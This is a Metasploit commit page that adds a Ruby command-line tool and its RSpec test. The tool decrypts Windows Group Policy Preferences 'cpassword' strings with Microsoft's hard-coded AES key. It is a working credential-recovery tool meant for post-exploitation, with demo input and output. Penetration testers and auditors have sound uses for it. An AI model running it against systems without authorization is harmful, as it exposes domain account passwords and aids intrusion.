Skip to content

Commit 709a7bf

Browse files
committed
Land rapid7#2754 - Created standalone module for cpassword AES decrypt
2 parents d41f05e + 3c64650 commit 709a7bf

File tree

2 files changed

+163
-0
lines changed

2 files changed

+163
-0
lines changed

spec/tools/cpassword_decrypt_spec.rb

Lines changed: 31 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
require 'spec_helper'
2+
3+
load Metasploit::Framework.root.join('tools/cpassword_decrypt.rb').to_path
4+
5+
require 'fastlib'
6+
require 'msfenv'
7+
require 'msf/base'
8+
9+
describe CPassword do
10+
context "Class methods" do
11+
let(:cpasswd) do
12+
CPassword.new
13+
end
14+
15+
context ".decrypt" do
16+
it "should return the decrypted password as 'testpassword'" do
17+
# Encrypted password for "testpassword"
18+
cpass = "AzVJmXh/J9KrU5n0czX1uBPLSUjzFE8j7dOltPD8tLk"
19+
pass = cpasswd.decrypt(cpass)
20+
pass.should eq('testpassword')
21+
end
22+
23+
it "should return an empty string due to a bad password" do
24+
# Invalid password format
25+
cpass = "BadPassword"
26+
pass = cpasswd.decrypt(cpass)
27+
pass.should eq('')
28+
end
29+
end
30+
end
31+
end

tools/cpassword_decrypt.rb

Lines changed: 132 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,132 @@
1+
#!/usr/bin/env ruby
2+
3+
##
4+
# This module requires Metasploit: http//metasploit.com/download
5+
# Current source: https://github.com/rapid7/metasploit-framework
6+
##
7+
8+
#
9+
# This script will allow you to specify an encrypted cpassword string using the Microsofts public
10+
# AES key. This is useful if you don't or can't use the GPP post exploitation module. Just paste
11+
# the cpassword encrypted string found in groups.xml or scheduledtasks.xml and it will output the
12+
# decrypted string for you.
13+
#
14+
# Tested Windows Server 2008 R2 Domain Controller.
15+
#
16+
# Authors:
17+
# Ben Campbell <eat_meatballs[at]hotmail.co.uk>
18+
# Loic Jaquemet <loic.jaquemet+msf[at]gmail.com>
19+
# scriptmonkey <scriptmonkey[at]owobble.co.uk>
20+
# theLightCosine
21+
# mubix (domain/dc enumeration code)
22+
# David Kennedy "ReL1K" <kennedyd013[at]gmail.com>
23+
#
24+
# References:
25+
# http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
26+
# http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)
27+
# http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
28+
# http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx
29+
#
30+
# Demo:
31+
# $ ./cpassword_decrypt.rb AzVJmXh/J9KrU5n0czX1uBPLSUjzFE8j7dOltPD8tLk
32+
# [+] The decrypted AES password is: testpassword
33+
#
34+
35+
msfbase = __FILE__
36+
while File.symlink?(msfbase)
37+
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
38+
end
39+
40+
$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib')))
41+
require 'fastlib'
42+
require 'msfenv'
43+
require 'rex'
44+
45+
46+
class CPassword
47+
48+
#
49+
# Decrypts the AES-encrypted cpassword string
50+
# @param encrypted_data [String] The encrypted cpassword
51+
# @return [String] The decrypted string in ASCII
52+
#
53+
def decrypt(encrypted_data)
54+
# Prepare the password for the decoder
55+
padding = "=" * (4 - (encrypted_data.length % 4))
56+
epassword = "#{encrypted_data}#{padding}"
57+
58+
# Decode the string using Base64
59+
decoded = Rex::Text.decode_base64(epassword)
60+
61+
# Decryption
62+
key = ''
63+
key << "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc"
64+
key << "\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
65+
begin
66+
aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
67+
aes.decrypt
68+
aes.key = key
69+
plaintext = aes.update(decoded)
70+
plaintext << aes.final
71+
rescue OpenSSL::Cipher::CipherError
72+
# Decryption failed possibily due to bad input
73+
return ''
74+
end
75+
76+
# Converts the string to ASCII
77+
Rex::Text.to_ascii(plaintext)
78+
end
79+
end
80+
81+
82+
#
83+
# Shows script usage
84+
#
85+
def usage
86+
print_status("Usage: #{__FILE__} [The encrypted cpassword string]")
87+
exit
88+
end
89+
90+
91+
#
92+
# Prints a status message
93+
#
94+
def print_status(msg='')
95+
$stderr.puts "[*] #{msg}"
96+
end
97+
98+
99+
#
100+
# Prints an error message
101+
#
102+
def print_error(msg='')
103+
$stderr.puts "[-] #{msg}"
104+
end
105+
106+
107+
#
108+
# Prints a good message
109+
#
110+
def print_good(msg='')
111+
$stderr.puts "[+] #{msg}"
112+
end
113+
114+
115+
#
116+
# main
117+
#
118+
if __FILE__ == $PROGRAM_NAME
119+
pass = ARGV.shift
120+
121+
# Input check
122+
usage if pass.nil? or pass.empty?
123+
124+
cpasswd = CPassword.new
125+
pass = cpasswd.decrypt(pass)
126+
127+
if pass.empty?
128+
print_error("Nothing was decrypted, please check your input.")
129+
else
130+
print_good("The decrypted AES password is: #{pass}")
131+
end
132+
end

0 commit comments

Comments
 (0)